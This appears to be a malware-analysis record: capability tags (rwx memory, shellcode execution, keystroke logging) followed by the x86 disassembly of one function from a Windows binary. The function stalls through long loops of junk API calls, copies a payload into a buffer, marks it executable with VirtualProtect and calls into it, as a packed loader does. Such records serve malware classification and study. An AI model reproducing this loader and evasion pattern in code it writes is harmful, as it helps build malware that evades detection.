Function at 0x405af0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path
Get file attributes
Log keystrokes via polling
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x808004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteTimerQueue]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, 0x3661b338
cmp dword [0x84fd34], 0xc31
jne 0x405b24
push 0
call ebx
call esi
dec edi
jne 0x405b14
mov edi, dword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x405b45
mov eax, dword [0x809944]
mov dword [0x8500bc], eax
cmp dword [0x84fd34], 0x3c
jne 0x405b51
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x405b33
cmp dword [0x84fd34], 0x7c
jne 0x405bbc
push ebx
push ebx
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadIconW]
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push ebx
call dword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
push ebx
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalCompact]
cmp dword [0x84fd34], 0x2d
jne 0x405bb3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push ebx
call fcn.00401065
add esp, 4
cmp dword [0x84fd34], 0x110a
jne 0x405c16
mov dword [0x84fd28], ebx
mov dword [0x84fd2c], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
call dword [sym.imp.KERNEL32.dll_ZombifyActCtx]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHeaps]
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040100f
add esp, 0x18
call fcn.004058a0
xor esi, esi
cmp dword [0x84fd34], ebx
jbe 0x405c6a
mov edi, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x405c30
mov edx, dword [0x8500bc]
mov dword [ebp - 8], edx
mov eax, 0xa231
add dword [ebp - 8], eax
cmp dword [0x84fd34], 0x5ab
mov eax, dword [ebp - 8]
mov cl, byte [eax + esi]
mov edx, dword [0x84fa58]
mov byte [edx + esi], cl
jne 0x405c61
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x84fd34]
jb 0x405c30
call fcn.004058d0
mov ecx, dword [0x84fd34]
mov edx, dword [0x84fa58]
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00405a80
call fcn.004058c0
mov ebx, dword [ebp - 0x30]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
mov edi, edi
push 0
push 0
call edi
cmp esi, 0x1a01e
jle 0x405cb6
cmp ebx, 0xf5bed7
jne 0x405cbf
inc esi
cmp esi, 0x1ece7a52
jl 0x405ca0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov ebx, dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor esi, esi
lea ecx, [ecx]
cmp esi, 0x12e6c3
jne 0x405cdd
call fcn.00405890
cmp dword [0x84fd34], 0x3dc
mov dword [0x84fa5c], 0x8e46a6f0
jne 0x405d0a
xor eax, eax
lea edx, [ebp - 0x10]
push edx
push eax
push eax
push eax
push eax
mov dword [ebp - 8], eax
call edi
push 0
push 0
push 0
call ebx
inc esi
cmp esi, 0x1519a5
jl 0x405cd0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00401000
mov esp, ebp
pop ebp
ret